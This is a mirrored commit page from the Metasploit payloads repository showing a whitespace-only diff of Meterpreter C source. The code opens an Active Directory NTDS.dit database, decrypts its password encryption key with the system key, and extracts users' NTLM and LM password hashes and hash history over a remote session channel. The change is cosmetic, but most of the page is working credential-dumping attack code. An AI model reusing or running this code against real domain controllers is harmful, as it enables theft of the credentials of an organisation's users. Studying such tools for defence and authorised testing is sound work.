mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-18 15:14:10 +01:00
whitespace tweaks
This commit is contained in:
parent
2b07377328
commit
773008d921
c/meterpreter/source/extensions/priv/server
@ -13,7 +13,8 @@ typedef struct
|
||||
// It calls the setup routines for our Jet Instance, attaches the isntance
|
||||
// to the NTDS.dit database the user specified, and creates our channel.
|
||||
// The user interacts with the NTDS database through that channel from that point on.
|
||||
DWORD ntds_parse(Remote *remote, Packet *packet){
|
||||
DWORD ntds_parse(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
struct jetState *ntdsState = calloc(1,sizeof(struct jetState));
|
||||
@ -154,7 +155,8 @@ out:
|
||||
|
||||
// This function reads an individual account record from the database and moves
|
||||
// the cursor to the next one in the table.
|
||||
static DWORD ntds_read_into_batch(NTDSContext *ctx, struct ntdsAccount *batchedAccount){
|
||||
static DWORD ntds_read_into_batch(NTDSContext *ctx, struct ntdsAccount *batchedAccount)
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
JET_ERR readStatus = JET_errSuccess;
|
||||
struct ntdsAccount *userAccount = calloc(1,sizeof(struct ntdsAccount));
|
||||
@ -173,7 +175,8 @@ static DWORD ntds_read_into_batch(NTDSContext *ctx, struct ntdsAccount *batchedA
|
||||
// It call ntds_read_into_batch up to 20 times and feeds the results into
|
||||
// an array which is then written back out into the channel's output buffer
|
||||
static DWORD ntds_channel_read(Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead){
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
|
||||
{
|
||||
JET_ERR readStatus = JET_errSuccess;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
NTDSContext *ctx = (NTDSContext *)context;
|
||||
@ -206,7 +209,8 @@ static DWORD ntds_channel_read(Channel *channel, Packet *request,
|
||||
// is closed. It shuts down the Jet Engine, and frees up the memory
|
||||
// for all of the context we have been carrying around.
|
||||
static DWORD ntds_channel_close(Channel *channel, Packet *request,
|
||||
LPVOID context){
|
||||
LPVOID context)
|
||||
{
|
||||
NTDSContext *ctx = (NTDSContext *)context;
|
||||
engine_shutdown(ctx->ntdsState);
|
||||
free(ctx->accountColumns);
|
||||
|
@ -10,7 +10,8 @@
|
||||
* @param length Integer representing the length of the byte array
|
||||
* @param output Pointer to the string we are outputting the result to
|
||||
*/
|
||||
void bytes_to_string(LPBYTE data, unsigned int length, LPSTR output){
|
||||
void bytes_to_string(LPBYTE data, unsigned int length, LPSTR output)
|
||||
{
|
||||
for (unsigned int i = 0; i < length; i++) {
|
||||
sprintf(output + (i << 1), "%02X", ((LPBYTE)data)[i]);
|
||||
}
|
||||
@ -24,7 +25,9 @@ void bytes_to_string(LPBYTE data, unsigned int length, LPSTR output){
|
||||
* @param rid DWORD representing the Relative ID(RID) of the account
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
BOOL decrypt_hash(struct encryptedHash *encryptedNTLM, struct decryptedPEK *pekDecrypted, char *hashString, DWORD rid){
|
||||
BOOL decrypt_hash(struct encryptedHash *encryptedNTLM,
|
||||
struct decryptedPEK *pekDecrypted, char *hashString, DWORD rid)
|
||||
{
|
||||
BOOL cryptOK = FALSE;
|
||||
BYTE encHashData[NULL_TERIMNATED_HASH_LENGTH] = { 0 };
|
||||
BYTE decHash[NULL_TERIMNATED_HASH_LENGTH] = { 0 };
|
||||
@ -49,7 +52,8 @@ BOOL decrypt_hash(struct encryptedHash *encryptedNTLM, struct decryptedPEK *pekD
|
||||
* @param decodedHash Pointer to where we store the decrypted hash
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
BOOL decrypt_hash_from_rid(LPBYTE encodedHash, LPDWORD rid, LPBYTE decodedHash){
|
||||
BOOL decrypt_hash_from_rid(LPBYTE encodedHash, LPDWORD rid, LPBYTE decodedHash)
|
||||
{
|
||||
typedef NTSTATUS(__stdcall *PSYS25)(IN LPCBYTE data, IN LPDWORD key, OUT LPBYTE output);
|
||||
HMODULE hAdvapi = LoadLibrary("advapi32.dll");
|
||||
if (hAdvapi == NULL) {
|
||||
@ -72,7 +76,9 @@ BOOL decrypt_hash_from_rid(LPBYTE encodedHash, LPDWORD rid, LPBYTE decodedHash){
|
||||
* @param historyCount Pointer to n integer where we store a count of the historical hashes
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory, struct decryptedPEK *pekDecrypted, DWORD rid, char *accountHistory, unsigned int *historyCount){
|
||||
BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory,
|
||||
struct decryptedPEK *pekDecrypted, DWORD rid, char *accountHistory, unsigned int *historyCount)
|
||||
{
|
||||
BOOL cryptOK = FALSE;
|
||||
unsigned int sizeHistoryData = (unsigned int)sizeHistory - 24;
|
||||
unsigned int numHashes = (sizeHistoryData / HASH_LENGTH_BYTES);
|
||||
@ -113,7 +119,8 @@ BOOL decrypt_hash_history(LPBYTE encHashHistory, size_t sizeHistory, struct decr
|
||||
* @param pekDecrypted Pointer to the decryptedPEK struct where we will store our decrypted PEK
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
BOOL decrypt_PEK(unsigned char *sysKey, struct encryptedPEK *pekEncrypted, struct decryptedPEK *pekDecrypted){
|
||||
BOOL decrypt_PEK(unsigned char *sysKey, struct encryptedPEK *pekEncrypted, struct decryptedPEK *pekDecrypted)
|
||||
{
|
||||
BOOL cryptOK = FALSE;
|
||||
BYTE pekData[52] = { 0 };
|
||||
memcpy(&pekData, &pekEncrypted->pekData, sizeof(struct decryptedPEK));
|
||||
@ -135,7 +142,9 @@ BOOL decrypt_PEK(unsigned char *sysKey, struct encryptedPEK *pekEncrypted, struc
|
||||
* @param lenBuffer the length of our output buffer
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
BOOL decrypt_rc4(unsigned char *key1, unsigned char *key2, LPBYTE encrypted, unsigned int hashIterations, DWORD lenBuffer){
|
||||
BOOL decrypt_rc4(unsigned char *key1, unsigned char *key2, LPBYTE encrypted,
|
||||
unsigned int hashIterations, DWORD lenBuffer)
|
||||
{
|
||||
BOOL cryptOK = FALSE;
|
||||
HCRYPTPROV hProv = 0;
|
||||
HCRYPTHASH hHash = 0;
|
||||
|
@ -9,7 +9,8 @@
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR engine_shutdown(struct jetState *ntdsState){
|
||||
JET_ERR engine_shutdown(struct jetState *ntdsState)
|
||||
{
|
||||
JET_ERR shutdownStatus;
|
||||
shutdownStatus = JetCloseDatabase(ntdsState->jetSession, ntdsState->jetDatabase, (JET_GRBIT)NULL);
|
||||
if (shutdownStatus != JET_errSuccess) {
|
||||
@ -33,7 +34,8 @@ JET_ERR engine_shutdown(struct jetState *ntdsState){
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR engine_startup(struct jetState *ntdsState){
|
||||
JET_ERR engine_startup(struct jetState *ntdsState)
|
||||
{
|
||||
JET_ERR jetError;
|
||||
// Set the Page Size to the highest possibile limit
|
||||
jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil, JET_paramDatabasePageSize, 8192, NULL);
|
||||
@ -48,7 +50,8 @@ JET_ERR engine_startup(struct jetState *ntdsState){
|
||||
return jetError;
|
||||
}
|
||||
// Disable crash recovery and transaction logs
|
||||
jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil, JET_paramRecovery, (JET_API_PTR)NULL, "Off");
|
||||
jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil,
|
||||
JET_paramRecovery, (JET_API_PTR)NULL, "Off");
|
||||
if (jetError != JET_errSuccess) {
|
||||
return jetError;
|
||||
}
|
||||
@ -60,7 +63,8 @@ JET_ERR engine_startup(struct jetState *ntdsState){
|
||||
return JET_errSuccess;
|
||||
}
|
||||
|
||||
void get_instance_name(char *name){
|
||||
void get_instance_name(char *name)
|
||||
{
|
||||
SYSTEMTIME currentTime;
|
||||
GetSystemTime(¤tTime);
|
||||
char dateString[30];
|
||||
@ -77,7 +81,8 @@ void get_instance_name(char *name){
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR find_first(struct jetState *ntdsState){
|
||||
JET_ERR find_first(struct jetState *ntdsState)
|
||||
{
|
||||
JET_ERR cursorStatus;
|
||||
cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveFirst, (JET_GRBIT)NULL);
|
||||
return cursorStatus;
|
||||
@ -89,7 +94,8 @@ JET_ERR find_first(struct jetState *ntdsState){
|
||||
* @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions.
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountColumns){
|
||||
JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountColumns)
|
||||
{
|
||||
JET_ERR columnError;
|
||||
struct {
|
||||
char *name;
|
||||
@ -127,7 +133,8 @@ JET_ERR get_column_info(struct jetState *ntdsState, struct ntdsColumns *accountC
|
||||
* @param pekEncrypted Pointer to an encryptedPEK struct to hold our encrypted PEK
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR get_PEK(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct encryptedPEK *pekEncrypted){
|
||||
JET_ERR get_PEK(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct encryptedPEK *pekEncrypted)
|
||||
{
|
||||
JET_ERR cursorStatus;
|
||||
JET_ERR readStatus;
|
||||
unsigned char *encryptionKey[76];
|
||||
@ -155,7 +162,8 @@ JET_ERR get_PEK(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
|
||||
* @param accountColumns Pointer to an ntdsState struct which will hold all of our column definitions.
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR next_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns){
|
||||
JET_ERR next_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns)
|
||||
{
|
||||
JET_ERR cursorStatus;
|
||||
JET_ERR readStatus;
|
||||
JET_ERR finalStatus = JET_errSuccess;
|
||||
@ -186,7 +194,8 @@ JET_ERR next_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns
|
||||
* @param ntdsState Pointer to a jetsState struct which contains all the state data for the Jet Instance.
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR open_database(struct jetState *ntdsState){
|
||||
JET_ERR open_database(struct jetState *ntdsState)
|
||||
{
|
||||
JET_ERR attachStatus = JetAttachDatabase(ntdsState->jetSession, ntdsState->ntdsPath, JET_bitDbReadOnly);
|
||||
if (attachStatus != JET_errSuccess) {
|
||||
return attachStatus;
|
||||
@ -206,7 +215,9 @@ JET_ERR open_database(struct jetState *ntdsState){
|
||||
* @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount){
|
||||
JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
|
||||
struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount)
|
||||
{
|
||||
JET_ERR readStatus = JET_errSuccess;
|
||||
DWORD accountControl = 0;
|
||||
unsigned long columnSize = 0;
|
||||
@ -283,7 +294,9 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns
|
||||
* @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR read_user_dates(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount){
|
||||
JET_ERR read_user_dates(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
|
||||
struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount)
|
||||
{
|
||||
JET_ERR readStatus = JET_errSuccess;
|
||||
unsigned long columnSize = 0;
|
||||
FILETIME accountExpiry;
|
||||
@ -348,7 +361,9 @@ JET_ERR read_user_dates(struct jetState *ntdsState, struct ntdsColumns *accountC
|
||||
* @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR read_user_hash_history(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount){
|
||||
JET_ERR read_user_hash_history(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
|
||||
struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount)
|
||||
{
|
||||
JET_ERR readStatus = JET_errSuccess;
|
||||
unsigned long columnSize = 0;
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, NULL, 0, &columnSize, 0, NULL);
|
||||
@ -384,7 +399,9 @@ JET_ERR read_user_hash_history(struct jetState *ntdsState, struct ntdsColumns *a
|
||||
* @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR read_user_lm_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount){
|
||||
JET_ERR read_user_lm_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
|
||||
struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount)
|
||||
{
|
||||
JET_ERR readStatus = JET_errSuccess;
|
||||
unsigned long columnSize = 0;
|
||||
struct encryptedHash *encryptedLM = calloc(1, sizeof(struct encryptedHash));
|
||||
@ -413,11 +430,15 @@ JET_ERR read_user_lm_hash(struct jetState *ntdsState, struct ntdsColumns *accoun
|
||||
* @param userAccount Pointer to an ntdsAccount struct that will hold all of our User data
|
||||
* @returns Indication of sucess or failure.
|
||||
*/
|
||||
JET_ERR read_user_nt_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns, struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount){
|
||||
JET_ERR read_user_nt_hash(struct jetState *ntdsState, struct ntdsColumns *accountColumns,
|
||||
struct decryptedPEK *pekDecrypted, struct ntdsAccount *userAccount)
|
||||
{
|
||||
JET_ERR readStatus = JET_errSuccess;
|
||||
unsigned long columnSize = 0;
|
||||
struct encryptedHash *encryptedNT = calloc(1, sizeof(struct encryptedHash));
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHash.columnid, encryptedNT, sizeof(struct encryptedHash), &columnSize, 0, NULL);
|
||||
readStatus = JetRetrieveColumn(ntdsState->jetSession,
|
||||
ntdsState->jetTable, accountColumns->ntHash.columnid, encryptedNT,
|
||||
sizeof(struct encryptedHash), &columnSize, 0, NULL);
|
||||
if (readStatus != JET_errSuccess) {
|
||||
if (readStatus == JET_wrnColumnNull) {
|
||||
memcpy(userAccount->ntHash, BLANK_NT_HASH, 32);
|
||||
|
Loading…
x
Reference in New Issue
Block a user